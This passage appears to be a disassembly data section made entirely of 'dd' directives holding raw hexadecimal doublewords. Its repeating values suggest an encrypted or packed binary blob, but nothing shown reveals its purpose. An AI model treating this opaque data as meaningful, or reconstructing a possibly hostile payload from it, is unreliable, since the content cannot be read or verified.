844A88Bh dd 11960FB5h, 411E0E9Bh, 844A874h, 11960869h, 7CF2FF71h dd 844A039h, 13AD3410h, 9B06FF71h, 844A039h, 13AD3754h dd 173C4EEFh, 36304DFFh, 586DB6EAh, 51CD847Fh, 4A79A8E0h dd 0E8B45167h, 490E0115h, 0AB97B29Eh, 6848D61Ah, 14E1BCC2h dd 80A7B196h, 0D31C075Dh, 1871A882h, 3F3871A6h, 0A0DE35Bh dd 834BA86Eh, 2FAA1329h, 169E355Ch, 6AC9FE57h, 13AD3702h dd 0B6A64C18h, 0AB95B704h, 9F322BF3h, 0E00E0113h, 51D8BCA5h dd 179273E0h, 88B63C5Dh, 0DB2A9BCEh, 0AA7FF972h, 9F322BF3h dd 0E00E0113h, 51D8BCA5h, 179273E0h, 0DEF79D5Dh, 0B2CD8DFFh dd 3F386A76h, 7F229C22h, 7879F31Dh, 0AA7F7F69h, 0F68692E3h dd 7B416441h, 0A0E0122h, 0B4DF118Eh, 25C9B6EAh, 80013489h dd 6885D18Ch, 13AD37FEh, 0E379D186h, 0AA7FEC51h, 627F35C1h dd 6880B7A1h, 13AD37FEh, 51BFA7C8h, 7B32351Eh, 7F0E0122h dd 8469098Ch, 3586718Ch, 0E44BAD8Eh, 62A86069h, 0D7EEB366h dd 0ED01C4EAh, 2911604Bh, 0FA251AAh, 5351EF42h, 834870BEh dd 0B3F3119Bh, 0A0CAB6EAh, 39A86534h, 0F4EB26E4h, 0C6BB724h dd 0E47E8E26h, 3BA86638h, 0B8B77A6Eh, 0D44B9447h, 0DFA8641Ch dd 6289D8A3h, 0ED5D69A1h, 2906854Bh, 0FA251AAh, 5351EF42h dd 0D75515BEh, 51DD2620h, 0ACDCD6E0h, 879F82F3h, 0AC729928h dd 0E8174F3Ah, 0AA7F71CCh, 762C75E3h, 0AA7FF4F1h, 39A206EBh dd 0FE4ADFEAh, 0A9A79BD8h, 9B79D6B7h, 525CBCAEh, 6BA798DDh dd 0FAC3CAE4h, 0B25A3DD3h, 0F6DFB6F3h, 6BA79BD7h, 0E99E3DE1h dd 5717B196h, 0CC63B03Fh, 0A7623DD3h, 0ABDFB6F3h, 3BA86642h dd 0B8B77A6Eh, 0CAFFCBCAh, 39A2DE71h, 0EBF2D4EAh, 23B8C3D0h dd 3630EF02h, 0ECE666EAh, 0A3FFA195h, 6876B6EAh, 13AD3702h dd 0EC4A7E9Bh, 5A6AA86Eh, 0B13A95BEh, 8DEC0A0Eh, 0A5AAA87Bh dd 0AA7F7F01h, 52110AE3h, 1EB64340h, 5BDFB6F3h, 0A9A798DDh dd 0B13A9464h, 0B842B9A2h, 0E3710349h, 0C6802945h, 0D8823A20h dd 24AD189h, 0D585DEF5h, 0A879F81Ch, 0E863B3E3h, 0E372AEE6h dd 0AA7F75C4h, 4237F6E5h, 8786792Ah, 83D68EF5h, 0BD85D998h dd 0AA7F7FBBh, 0F690F2E3h, 1ACDB041h, 3F386A8Bh, 239CE35Bh dd 488CA86Eh, 18BB73EAh, 510E010Dh, 0D7EFBBDAh, 0E1DBFEEAh dd 7017B6EAh, 13A24340h, 0DBDFB196h, 0D585CF4Eh, 0AC4BF451h dd 3F386A7Bh, 239CE35Bh, 48A7A86Eh, 18BB72EBh, 510E010Dh dd 39A6ACDAh, 975BB7EAh, 0EA79BCEh, 51D80221h, 83E373E0h dd 0AEC494AAh, 0AC74500Fh, 807E623Ah, 0C4233D87h, 66DB6EBh dd 0EC832D2Ch, 0A6D6D202h, 7B409BCCh, 0F50E0122h, 6F3B0D51h dd 800E6234h, 0E3729587h, 39A79BCDh, 0D3E9F0DFh, 0CB6DB6EAh dd 71D45BD5h, 0D9F99E6Ah, 6ACAB3B4h, 13AD37FEh, 25950C58h dd 4D790993h, 9DEDD18Ch, 924248DAh, 3D11CFEAh, 9E7D27E6h dd 103EF6CCh, 0A98D2B19h, 9F322BF3h, 0E00E0113h, 51C35B5Dh dd 0F10A73E0h, 0C0C0A18Eh, 6876B6F3h, 13AD3702h, 0CB5330F9h dd 687E1D90h, 13AD37FEh, 8DCD113Ah, 0C8CA8305h, 0D3BD7FEBh dd 3B52CB8Eh, 0D6D7F307h, 47A79BD1h, 31CB82Ch, 7B72283Eh dd 0E5E27AF6h, 39A7E571h, 586DB6EAh, 6B472C7Fh, 0ACC1E437h dd 9A3A444Ah, 5EA7A87Bh, 0C8C9EA92h, 0A3FACEEBh, 0D376B6EAh dd 13AD3413h, 13ABEE18h, 0EA0E0110h, 0E2EB1CA2h, 1E0E011Dh dd 2526551Ch, 4BA940E0h, 0BC4EA5D1h, 0D2A7B6F3h, 51D807DFh dd 29E4D8E0h, 0DE632E9h, 2E97B1F9h, 0AD6BD0D1h, 0D2A7B6F3h dd 51DD12B7h, 386473E0h, 420D8429h, 0C4EAF9BBh, 0EA79BCEh dd 51D7811Ch, 9A9675E0h, 8B5F5C42h, 39A9C2A5h, 556DEEAh dd 13D165D5h, 5D6BFB02h, 31A79BDBh, 0BF863EBAh, 31A79BD8h dd 0B4862F12h, 31A7B6F3h, 4F862F12h, 31A7B199h, 73E52F12h dd 0AC769B71h, 0E35E21D7h, 0BE9621FDh, 35C1EC1Ah, 2D87B6EAh dd 79B6D1C4h, 0A8F9DB86h, 85AB03BBh, 0ABB52BB3h, 658FF8C5h dd 3B3E211Eh, 2 dup(39A7B6EAh), 7E2C27A1h, 0A9CD1666h dd 9EC3C4F3h, 0DE62DBDh, 8C9EA19Bh, 1F62A87Bh, 39689051h dd 28AAB6EAh, 7F721BC0h, 56E404CEh, 11960577h, 0E8916458h dd 19AF305h, 5E9AF28Ch, 4011C49Dh, 39A7EC22h, 586DB6EAh dd 2E888C7Fh, 0E6473E0h, 0EA0E0110h, 836BC5EDh, 2A79BCEh dd 5C0492B8h, 0B1479812h, 25BAEA3Dh, 3ECD25E0h, 39A79BD1h dd 0CB5422BFh, 12C3746Ah, 540E0110h, 2338742h, 64125AD1h dd 22CF28Eh, 98578ED1h, 1E35EFE5h, 0B14B34BDh, 25BAEA3Dh dd 0AA88B0E0h, 8374B6F3h, 2A79BCEh, 97A94E6h, 0B30E5EB3h dd 51CEA5F5h, 11DD9E0h, 0C4F0FE8Dh, 39A7B6EBh, 39A7B6EAh dd 0EA7B6EAh, 0A576B6F3h, 39A7B6EAh, 0EA7B6EAh, 0A576B6F3h dd 39A7B6EAh, 0EA7B6EAh, 0A576B6F3h, 4 dup(39A7B6EAh) dd 0EA7B6EAh, 8576B6F3h, 4F85F87Ch, 844A87Bh, 108FE9BBh dd 44570E9Bh, 844A874h, 108E9B9Fh, 487E0E9Bh, 844A874h dd 108EAF33h, 72460E9Bh, 844A87Bh, 108E990Bh, 51B90E9Bh dd 844A87Bh, 108E98AFh, 9D20E9Bh, 844A86Eh, 108FE327h dd 0F4B60E9Bh, 844A878h, 108FE21Bh, 0A88F0E9Bh, 844A875h dd 108EA413h, 0A6840E9Bh, 844A875h, 108E98B7h, 0A90D0E9Bh dd 844A875h, 108FDDEBh, 0A7A20E9Bh, 844A875h, 108FE20Fh dd 0C21B0E9Bh, 844A878h, 108EAE23h, 0F3C548EFh, 7B809BD7h dd 0E5E27AF6h, 39A7E571h, 586DB6EAh, 6B5B687Fh, 100C4637h dd 39A79BD1h, 1C52107h, 0A58AE532h, 392DE7FAh, 94CB6EAh dd 0CAF631B0h, 0E276B6EAh, 0E308DEF1h, 140EC2F3h, 5992F3F5h dd 0A7522A67h, 1E1924C5h, 10F9E7DAh, 10F21CC0h, 0A58FB798h dd 0FF2C27A1h, 7B73202Eh, 3711C865h, 100C4075h, 39A79BD1h dd 755D4150h, 0D1729BCEh, 4702363h, 8090E74Ah, 8476A87Bh dd 0E2710A17h, 52BBD14Ch, 764ED9E0h, 89ED7334h, 0D8D62887h dd 1E0E0046h, 0E46F9FEDh, 0E27298F3h, 52BBD14Ch, 764ED9E0h dd 89ED6D7Ah, 0D8D62887h, 1E0E0046h, 0AB9A5EDh, 419DA566h dd 0E35E21F3h, 5F962AB5h, 7B809BC6h, 0E5E27AF6h, 39A7E571h dd 586DB6EAh, 6B50287Fh, 0BFA44237h, 0CB9E6691h, 0A98D2D51h dd 0C0E9B6F3h, 7011E61Ch, 0B09F3C75h, 0DDF1FDD3h, 4BC9B07Eh dd 0B0BBD1E4h, 52BBD14Ch, 0E14ED9E0h, 302C7455h, 6D012CC5h dd 847544E1h, 9283A267h, 2F1289E5h, 71E1B1DBh, 4011FACEh dd 857AED5Fh, 0AA7E8E71h, 9EC3C4F3h, 5D41AB81h, 0E9C52F70h dd 465DF1EDh, 0AA7E8EDBh, 81C4B8F3h, 2BCF01C4h, 22327870h dd 90E9FDD0h, 4BC9B07Eh, 0B0BBD1E4h, 52BBD14Ch, 0E14ED9E0h dd 302C7455h, 0F7945CC5h, 847544D3h, 9283A267h, 2F1289E5h dd 71E1B1DBh, 4011FACEh, 857AED5Fh, 0E9C53E9Ah, 465DF1EDh dd 0AA7E8EDBh, 1444AAF3h, 279BBE02h, 19705BFCh, 0B9D589B2h dd 0AD27B6F3h, 911986F3h, 3CA7B6EAh, 39A79BFAh, 42ACE573h dd 0D69DAB18h, 1E27B6EAh, 0A4CCA1B2h, 0C9129265h, 93F1C720h dd 0ACC1F675h, 10F21CBDh, 65ABB798h, 0FF2C27A1h, 7B73202Eh dd 3711C865h, 100C4075h, 39A79BD1h, 0CC6B0266h, 0AE933331h dd 9140CD9Bh, 3B342F3Eh, 0D6E336EAh, 0D7FDE7FAh, 0E74B6EAh dd 0D6A79BD8h, 750FF5CCh, 39A8DCB1h, 1FD9A1EAh, 0B97EF80Bh dd 41E755BEh, 9283A267h, 2F1289E5h, 71E1B1DBh, 4011FACEh dd 857AED5Fh, 0E9C53E9Ah, 465DF1EDh, 0AA7E8EDBh, 913FAAF3h dd 25875D5Bh, 0C5CC5ECCh, 0D8D628E4h, 1E0E0046h, 0B841A5EDh dd 8090E780h, 8476A87Bh, 36D9B009h, 9283A267h, 2F1289E5h dd 71E1B1DBh, 4011FACEh, 857AED5Fh, 0E9C53E9Ah, 465DF1EDh dd 0AA7E8EDBh, 3603CEF3h, 0D376B6EAh, 5D6F8628h, 0E27DAED7h dd 52BBD14Ch, 7E4ED9E0h, 13E9C769h, 0EE9100BFh, 6A4B9CBCh dd 4F25AB40h, 419DA56Ch, 0E35E21F3h, 5F962AB5h, 7B809BC6h dd 0E5E27AF6h, 0BFA9F671h, 0CB9E6691h, 0A98D2D51h, 0B443B6F3h dd 811B4A3Ah, 8C62A039h, 0B7D2F3E7h, 8090E780h, 8476A87Bh dd 6CAB3575h, 0AA404088h, 63A35AE4h, 6CE57F5h, 0D855CE86h dd 0A8A876CFh, 5B92512h, 1F129096h, 0FDB13E51h, 555C6E0h dd 5A7B6F3h, 8F1676CDh, 0EAFBCB1Ah, 5018CDA2h, 0D7A62E40h dd 1E0E0046h, 0EB6FA9C7h, 19729FA6h, 93ECFB61h, 0ACC1F675h dd 10F21CBDh, 65ABB798h, 0FF2C27A1h, 7B73202Eh, 3711C865h dd 100C4075h, 39A79BD1h, 0D380FB66h, 2BCF01C4h, 0D1706870h dd 3A101FA2h, 108EB6E9h, 9EA086C5h, 0B6E1EF5Bh, 36D9AC6Dh dd 9283A267h, 2F1289E5h, 71E1B1DBh, 4011FACEh, 857AED5Fh dd 0E9C53E9Ah, 465DF1EDh, 0AA7E8EDBh, 0D16F98F3h, 0E272AEBAh dd 52BBC45Ch, 4044D9E0h, 257EF0C5h, 0B97EC88Eh, 419DA566h dd 0E35E21F3h, 5F962AB5h, 7B809BC6h, 0E5E27AF6h, 0BFA9F671h dd 0CB9E6691h, 0A98D2D51h, 25C9B6F3h, 0A79A3469h, 80893767h dd 1A76A87Bh, 36E777C5h, 3A0AFB55h, 108EB6E9h, 9EA086C5h dd 0C2B82069h, 419DA570h, 0E35E21F3h, 5F962AB5h, 7B809BC6h dd 0E5E27AF6h, 39A7E571h, 586DB6EAh, 2F98307Fh, 100C41E0h dd 39A79BD1h, 0E9C52107h, 0A4EF1EDh, 0FECC5BA2h, 55A8E21Eh dd 66C3F307h, 55A79BCEh, 0D3C3F2E6h, 55A7B6EAh, 0C01ACE4Dh dd 55A7B6F3h, 0BE78051Eh, 55A79BD8h, 7F7DFBD6h, 2CA79BCEh dd 39A8653Ch, 1E19210Bh, 2D3FCB41h, 108FE9B2h, 7D5C7389h dd 1E0E0127h, 10F442C7h, 39A896F8h, 63522BEAh, 0DFC527CBh dd 2F9A195Ch, 29E405E0h, 108EA7C9h, 2BCB86C5h, 0C78411DBh dd 4876B6EBh, 0AF52D8EBh, 2030377Ah, 0DEFAA86Eh, 251BFA5Ch dd 9144D9E0h, 0AFF62B46h, 0EA7B6EAh, 48850741h, 0A05C6C67h dd 0A20D8728h, 0EA173769h, 1A76A88Bh, 7855B870h, 39A7B199h dd 10F9F66Dh, 65ABB798h, 0C1B96A84h, 24E375F3h, 29FB4096h dd 0AB966527h, 0A85500E2h, 14DFA86Ah, 81A7B196h, 0AA7FF131h dd 8AFCD9F3h, 0AB965AA6h, 3BDA3AB6h, 966188B9h, 0B9A7993Ch dd 0B617F8E3h, 0C676993Ah, 0F3F07B39h, 2A88C361h, 366188C3h dd 79A9B9F5h, 0B617F92Ch, 0C676993Ah, 0F3F07B39h, 0CAF66F79h dd 566188C3h, 99A8E33Eh, 39A9C041h, 0B61ABCB4h, 0C676993Ah dd 0F3F07B39h, 9A349CCAh, 0F66188BCh, 39A7980Eh, 0F9A8E33Eh dd 0B617F941h, 0C676993Ah, 0F3F07B39h, 249DCC38h dd 166193F0h, 79A8DCF9h, 0B9A79AABh, 0B617F8E3h, 0C676993Ah dd 0F3F07B39h, 0F5BA225Dh, 0B66193EAh, 0C676993Ah, 0F3F07B39h dd 4523294h, 0D66193EAh, 0F9A8DC5Ah, 0F9A9B9F9h, 0B617F941h dd 0C676993Ah, 0F3F07B39h, 1F173F76h, 76618893h, 0AA897E96h dd 0B61ABCB5h, 0C676993Ah, 0F3F07B39h, 6C72F1DAh, 96619305h dd 99A9C3DCh, 0B9A79B04h, 0B617F8E3h, 0C676993Ah, 0F3F07B39h dd 0ECB7BFA9h, 36619011h, 0C6769937h, 0F3F07B39h, 0EDAE4F44h dd 566190E0h, 79A79936h, 0B617F92Ch, 0C676993Ah, 0F3F07B39h dd 0DA17C623h, 0F6619260h, 79A79818h, 39A7980Dh, 0B61ABCB4h dd 0C676993Ah, 0F3F07B39h, 606A7ED4h, 166192B7h, 0A7F6010h dd 0C685DEB7h, 0F3F07B39h, 0CD9070Bh, 0B6619133h, 0F9A79825h dd 0B617F941h, 0C676993Ah, 0F3F07B39h, 6223FB55h, 0D66190DCh dd 0B9A79B46h, 0B617F8E3h, 0C676993Ah, 0F3F07B39h, 0FCA7CF19h dd 76619302h, 0EA896582h, 0B9A2095Ch, 39A8DF9Ah, 0B61ABCB4h dd 0C676993Ah, 0F3F07B39h, 0B79F16E2h, 966192F5h, 0B9A789DEh dd 6A896D37h, 0B617F817h, 0C676993Ah, 0F3F07B39h, 0A78102A7h dd 36619011h, 0B9A8E32Dh, 0B617F8E3h, 0C676993Ah, 0F3F07B39h dd 5F7D139Ah, 56619305h, 19A7905Dh, 0D9A84DDBh, 79A8E2D6h dd 0B617F92Ch, 0C676993Ah, 0F3F07B39h, 0A3C19AA3h, 0F6619354h dd 99A2F8CFh, 99A79A40h, 39A79F24h, 99A789E9h, 39A8DFBAh dd 0B61ABCB4h, 0C676993Ah, 0F3F07B39h, 12092EB8h, 166192F5h dd 79A2F004h, 0F9A79823h, 0B617F941h, 0C676993Ah, 0F3F07B39h dd 76FD5A97h, 0B6619380h, 39A84C6Fh, 39A84F94h, 99A2CABAh dd 79A2F960h, 0B9A8E2DCh, 0B617F8E3h, 0C676993Ah, 0F3F07B39h dd 0E5F6D2E4h, 0D66192F8h, 19A2F049h, 79A2F322h, 99A24091h dd 59A24103h, 79A2C80Ah, 0B9A2F554h, 0B9A2ED79h, 0B9A2F4C9h dd 0B9A20EEFh, 0B9A792EEh, 0B9A2CBADh, 79A8DCDCh, 0B617F92Ch dd 0C676993Ah, 0F3F07B39h, 64BF46E9h, 766188B9h, 0B9A2F76Eh dd 0FB3AA47Ah, 0BB3AABF9h, 0D9A84F8Dh, 0DB3AA402h, 0B9A2CAA8h dd 0D9A2F7A4h, 59A2F7C3h, 99A2F790h, 99A2EDD3h, 59A2EDCEh dd 0B9A2FE13h, 0B9A20691h, 39A2F778h, 0B9A2CB4Ch, 0F9A2F7E2h dd 0D9A2F048h, 0D9A2F7C9h, 79A2F280h, 0F9A20953h, 0F9A2DE70h dd 39A9C21Ch, 39A9C218h, 79A795E7h, 39A7AED8h, 99A79AF2h dd 99A79B0Eh, 59A79020h, 79A79010h, 59A79E26h, 0D9A7998Bh dd 79A7901Eh, 39A789DFh, 59A84F90h, 79A85D23h, 39A84CBFh dd 39A2CAFCh, 0F9A2CB0Eh, 0F9A2C825h, 39A2C59Ah, 19A2C59Dh dd 79A2ED96h, 59A2D733h, 39A2D521h, 39A2E8C0h, 39A2D1C4h dd 0AA7F63B5h, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h, 0EE4C8F8Ch dd 9661AE90h, 0F9A2EFC1h, 3B3AB21Ah, 0FB3AA4D2h, 19A20ED9h dd 6A7F62F2h, 0B617F817h, 0C676993Ah, 0F3F07B39h, 9F8CD6A2h dd 3661AE8Ch, 0D9A88410h, 19A9BC9Fh, 39A7A73Ch, 19A7A048h dd 0F9A7A715h, 19A79C15h, 99A2EC5Dh, 39A206DFh, 99A241EEh dd 59A240A0h, 19A2CA2Fh, 59A241E4h, 79A79C31h, 0F9A2C468h dd 2A7F6030h, 0B617FBD3h, 0C676993Ah, 0F3F07B39h, 91CCFA12h dd 566193EDh, 0F9A79810h, 0B617F941h, 0C676993Ah, 0F3F07B39h dd 9B4FB004h, 0F66188A2h, 19A793D8h, 79A8DC00h, 0B617F92Ch dd 0C676993Ah, 0F3F07B39h, 4B31E3E2h, 166188A2h, 0C685DEB7h dd 0F3F07B39h, 65ED0996h, 0B66193EDh, 99A7A745h, 0D9A2EBB6h dd 19A2DE07h, 19A2CA04h, 19A2FF56h, 0D9A2FB2Eh, 99A9C2E4h dd 2A896C28h, 0A89B8DDh, 39A79BB1h, 79A78C6Ch, 19A794C2h dd 99A789E8h, 0B9A2CAFFh, 39A79B1Ah, 39A79AA0h, 0B61ABCB4h dd 0C676993Ah, 0F3F07B39h, 2FB6ACCBh, 0D66188A2h, 0D9A8841Ah dd 99A2E9F0h, 6A7F5C01h, 0B617F817h, 0C676993Ah, 0F3F07B39h dd 0E98F597Eh, 766193F1h, 0C676B6EAh, 0F3F07B39h, 0C32D7A3Eh dd 9661AE8Eh, 3B33A005h, 19A2D612h, 2A7F613Eh, 0B617FBD3h dd 0C676993Ah, 0F3F07B39h, 0D4311638h, 3661A9ABh, 4A89C72Bh dd 0B9A24059h, 0B9A79FC6h, 0EA7F635Eh, 0B617F92Fh, 0C676993Ah dd 0F3F07B39h, 61B918BDh, 56619D2Fh, 0AA7F6364h, 0B61ABCB5h dd 0C676993Ah, 0F3F07B39h, 6AA4E06Bh, 0F661A98Ah, 49CD26BFh dd 6A7F5C01h, 0B617F817h, 0C676993Ah, 0F3F07B39h, 46DE1536h dd 1661AE94h, 0CA880902h, 0A8808F4h, 2A7F5CF1h, 0B617FBD3h dd 0C676993Ah, 0F3F07B39h, 5D033429h, 0B661A990h, 0AB96009Ch dd 0CA7F626Ah, 0AA88B7CBh, 0D9A206BAh, 0B9A788C3h, 0B617F8E3h dd 0C676993Ah, 0F3F07B39h, 9CA2A28Dh, 0D661AE94h, 0AA8808F4h dd 0EA896F03h, 0B617F92Fh, 0C676993Ah, 0F3F07B39h, 5B6E16B4h dd 7661A990h, 2A881E09h, 0AA896FE9h, 0B61ABCB5h, 0C676993Ah dd 0F3F07B39h, 95D62E18h, 966192EEh, 4A7FC4FEh, 8A897E99h dd 6A896FDBh, 0B617F817h, 0C676993Ah, 0F3F07B39h, 0EE151C9Dh dd 3661925Ah, 2A896FE8h, 0B617FBD3h, 0C676993Ah, 0F3F07B39h dd 10784B3Fh, 566192F8h, 0FB3EDC7Ah, 0A7FC402h, 6A88090Bh dd 49CD2698h, 0F9A20670h, 2A896C3Bh, 0F9A2C90Fh, 0EA896FE6h dd 0B617F92Fh, 0C676993Ah, 0F3F07B39h, 0C2B9D09Eh, 0F6618D94h dd 363039FBh, 2A896CF6h, 0C9CD12DDh, 2A8819B2h, 0D9A84DEAh dd 0A89771Bh, 79A2DEBEh, 0AA896FCDh, 0B61ABCB5h, 0C676993Ah dd 0F3F07B39h, 4A0928B2h, 1661937Ah, 6A7F6D27h, 0B617F817h dd 0C676993Ah, 0F3F07B39h, 0E65A3D4Ah, 0B66188BDh, 6A8622A7h dd 0AA8622ADh, 0A89BFB4h, 5B33A957h, 2A7F63EDh, 0B617FBD3h dd 0C676993Ah, 0F3F07B39h, 0CBEA8FE2h, 0D661888Bh, 98D2B47h dd 59A7EB11h, 4A89BD37h, 0EA7F5D96h, 0B617F92Fh, 0C676993Ah dd 0F3F07B39h, 9BE6F02Ah, 766192AEh, 0E98D3E5Bh, 0FB3E46EEh dd 7B2B00E3h, 9B33A75Ah, 7B3EEF13h, 7B34E246h, 0BB2B0D05h dd 79A241CDh, 0B9A84C8Bh, 39A2EBA1h, 0B9A2CB46h, 0D9A2C550h dd 19A2F9E7h, 0B9A2CB10h, 39A2F90Fh, 0B9A2F321h, 39A2CA7Fh dd 79A2F04Eh, 0EA89BB70h, 6A896F53h, 2A89BB75h, 59A7AE6Eh dd 39A792B9h, 79A79A09h, 59A79374h, 0F9A79F6Bh, 0B9A8DC8Bh dd 39A84F8Ch, 0D9A85722h, 7B3AAAB3h, 39A7A055h, 19A7A6DCh dd 4A896855h, 0B9A9BDE5h, 79A794CCh, 2A89BBAEh, 0B9A89193h dd 19A791E4h, 0AA7F629Dh, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h dd 92F01E98h, 966193EDh, 6A888038h, 498D2A20h, 0EA89BF62h dd 0DB2B03FAh, 3B2BFDBAh, 0BB3E46FBh, 7B2B0300h, 3B33A723h dd 7B3B309Bh, 59A88704h, 0D9A2CA8Fh, 39A206B7h, 0F9A2CB04h dd 99A2FF33h, 29CD110Ah, 4A896B2Eh, 99A8841Ah, 79A89654h dd 6A89BB55h, 59A88750h, 2A89C509h, 39A7A710h, 99A8DCF6h dd 0CA89680Bh, 39A2DE50h, 99A8876Ch, 0F9A79BEAh, 79A20F39h dd 79A79479h, 2A7F63FEh, 0B617FBD3h, 0C676993Ah, 0F3F07B39h dd 7789FFD8h, 366188C3h, 0CA896AE9h, 0CA896AFAh, 0EA7F630Bh dd 0B617F92Fh, 0C676993Ah, 0F3F07B39h, 98F3322Eh, 56618D97h dd 6B95ADE2h, 0A98D205Dh, 29CD1438h, 0F9A88751h, 0AA7F5D8Ch dd 0B61ABCB5h, 79A8DDEFh, 0C6769817h, 0F3F07B39h, 275BFD7Dh dd 0F66188A2h, 0AA7FCA92h, 6A89773Dh, 0B617F817h, 0C676993Ah dd 0F3F07B39h, 861DFE59h, 166192EEh, 0A8622C1h, 0AA86212Fh dd 0CA8620E3h, 0C98D2F8Eh, 0EA896F9Bh, 8A89C0E6h, 9B33A973h dd 2A7F637Dh, 0B617FBD3h dd 0C676993Ah, 0F3F07B39h, 7101AA4Fh, 0B66193EDh, 0CA890398h dd 4A888925h, 0EA7F602Fh, 0B617F92Fh, 0C676993Ah, 0F3F07B39h dd 1A70C2F3h, 0D66188C0h, 0A7FC4D5h, 39A7AEA1h, 79A7957Fh dd 19A2EDEEh, 0AA7F588Ah, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h dd 0F1FC9B05h, 76619039h, 0AB95881Ah, 2B958A09h, 2A86171Bh dd 0AA7F58A8h, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h, 0DC2FC66Dh dd 96619380h, 0F9A7A156h, 0B617F941h, 0C676993Ah, 0F3F07B39h dd 0EE5824CEh, 36619FD8h, 39A79AECh, 0B61ABCB4h, 0C676993Ah dd 0F3F07B39h, 0E0EC1796h, 56619FD1h, 0F9A7A1AAh, 0B617F941h dd 0C676993Ah, 0F3F07B39h, 0D2784237h, 0F6619380h, 2A897EA6h dd 0B617FBD3h, 0C676993Ah, 0F3F07B39h, 0E66550F8h, 166192F7h dd 0D9A7AFC5h, 2B9655AAh, 6B964C73h, 898D24E8h, 0E9CDCDD7h dd 498D2FA3h, 49CD1766h, 4A896489h, 99A2096Bh, 0EA897E9Bh dd 0B617F92Fh, 0C676993Ah, 0F3F07B39h, 74561B2Fh, 0B6619FD1h dd 0DB3B6122h, 0CA88849Ch, 298D2C7Fh, 98D3517h, 0BB3EE843h dd 59A7EF84h, 79A7E861h, 0C9CD17A6h, 8A89BF7Eh, 0BB2BD80Fh dd 0B9A79A12h, 99A20E02h, 7B3AAAA8h, 3B3AA81Ch, 0D9A79801h dd 19A78DA3h, 0AA8979C7h, 0B61ABCB5h, 0C676993Ah, 0F3F07B39h dd 0A9C1C2DBh, 0D661A73Dh, 6A897E9Bh, 0B617F817h, 0C676993Ah dd 0F3F07B39h, 0BBBD732Ah, 76619357h, 79A9C3AAh, 2A89798Dh dd 0B617FBD3h, 0C676993Ah, 0F3F07B39h, 0EF9851A4h, 96619FEBh dd 39A7A7A2h, 59A2F0A2h, 19A79A95h, 4A89B93Fh, 0CA888927h dd 2A8899B9h, 8B965FEBh, 9CDD7CFh, 0E98D2A27h, 8A894CC4h dd 0CA7F62E7h, 8A89BE3Eh, 5B2B34C9h, 0CA89659Bh, 99A7A9C0h dd 0B1E483A7h, 9008D227h, 9008D440h, 300805D4h, 3008FFF8h dd 0D001911Ch, 0A51F6CDAh, 7171FDA3h, 41109DA6h, 0AA9A7FA5h dd 736C8797h, 0F0C7A377h, 651F735Ah, 7170C029h, 41109DA6h dd 0AA9A7FA5h, 8B81D41Ch, 10C79493h, 0F008EEFEh, 0F0019D35h dd 7170C328h, 41109DA6h, 0AA9A7FA5h, 0E7189E00h, 0B0C79499h dd 41109F4Bh, 0AA9A7FA5h, 0F2DB8D9Bh, 0D0C79668h, 10FE9A2Bh dd 0B0018C37h, 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 1101CB74h dd 70C7A33Dh, 30018C4Ch, 7171FDA0h, 41109DA6h, 0AA9A7FA5h dd 0A2F90B67h, 0AA9A7302h, 71F265FCh, 0F18ECE61h, 41109DABh dd 0AA9A7FA5h, 0AA1B21E5h, 118ECD9Dh, 11CEE00Dh, 0B0019D9Ah dd 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 0DCC731D4h, 0B18ECC90h dd 51CEE1F6h, 70019566h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h dd 8C35A49Fh, 0D18ECE42h, 11CDAB29h, 300194F0h, 7171FDA0h dd 41109DA6h, 0AA9A7FA5h, 0F72D297Ch, 718ED5EFh, 3008C9BFh dd 0A51FBE66h, 11E4F09Fh, 0F00194F0h, 7170C328h, 41109DA6h dd 0AA9A7FA5h, 0D947D418h, 918ECE61h, 1008E264h, 52966F8h dd 0B0019DA5h, 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 535C8323h dd 318ECE5Fh, 0D1CD9F2Fh, 70019DB5h, 7171FC6Fh, 452882ADh dd 7171FDCCh, 4533F51Dh, 7171FDCCh, 0E5297EB6h, 7171FF3Fh dd 41109DA6h, 0AA9A7FA5h, 2FDE4C4Ah, 518ED5F0h, 3002E64Ah dd 7171FDA0h, 41109DA6h, 0AA9A7FA5h, 11E6221Fh, 0F18ECCABh dd 0F0FFC63Eh, 7170C328h, 41109DA6h, 0AA9A7FA5h, 0BAADB4EAh dd 118ED41Dh, 0B002E314h, 7171FDCDh, 41109DA6h, 0AA9A7FA5h dd 0A2F90B67h, 0AA9A7302h, 259801F7h, 50C7AD2Ah, 0F0019D88h dd 7170C328h, 41109DA6h, 0AA9A7FA5h, 0A2F90B67h, 0AA9A7302h dd 6EC61148h, 0D0C7957Dh, 31E51099h, 51D5DFC4h, 50019629h dd 5001A3ABh, 0B001AB8Bh, 7171FDCDh, 41109DA6h, 0AA9A7FA5h dd 0F3C1F4F5h, 70C7948Eh, 0B0FFC645h, 70019EB3h, 7171FC6Fh dd 41109DA6h, 0AA9A7FA5h, 0D399A0BBh, 90C7BD01h, 5008CB09h dd 3001961Fh, 7171FDA0h, 41109DA6h, 0AA9A7FA5h, 6E93A31h dd 30C797E6h, 0B0FF0ADBh, 0F001961Ch, 7170C328h, 41109DA6h dd 0AA9A7FA5h, 0CFDB3BE3h, 50C7BD1Ch, 50FF054Ah, 0B0019610h dd 7171FDCDh, 41109DA6h, 0AA9A7FA5h, 72A55676h, 0F0C7A340h dd 90019723h, 700196A9h, 7171FC6Fh, 41109DA6h, 0AA9A7FA5h dd 0B9F612D7h, 10C7BD1Ch, 0B001981Bh, 3001A0B7h, 7171FDA0h dd 41109DA6h, 0AA9A7FA5h, 810C3638h, 0B0C7B23Ah, 0D0019B0Bh dd 0F0019E52h, 7170C328h, 41109DA6h, 0AA9A7FA5h, 0B7EDC92Eh dd 0D0C7A19Eh, 1001AD50h, 0B0019878h, 7171FDCDh, 41109DA6h dd 0AA9A7FA5h, 0A6C27119h, 70C7AD34h, 7001A372h, 70019E87h dd 7171FC6Fh, 41109DA6h, 0AA9A7FA5h, 8A40460Eh, 90C7AC26h dd 1008C931h, 7008F770h, 5008FC20h, 300198E1h, 7171FDA0h dd 41109DA6h, 0AA9A7FA5h, 572960EDh, 30C7A1A9h, 10019497h dd 0F00198F6h, 7170C328h, 41109DA6h, 0AA9A7FA5h, 5578D24h dd 50C7BD07h, 90018CEFh, 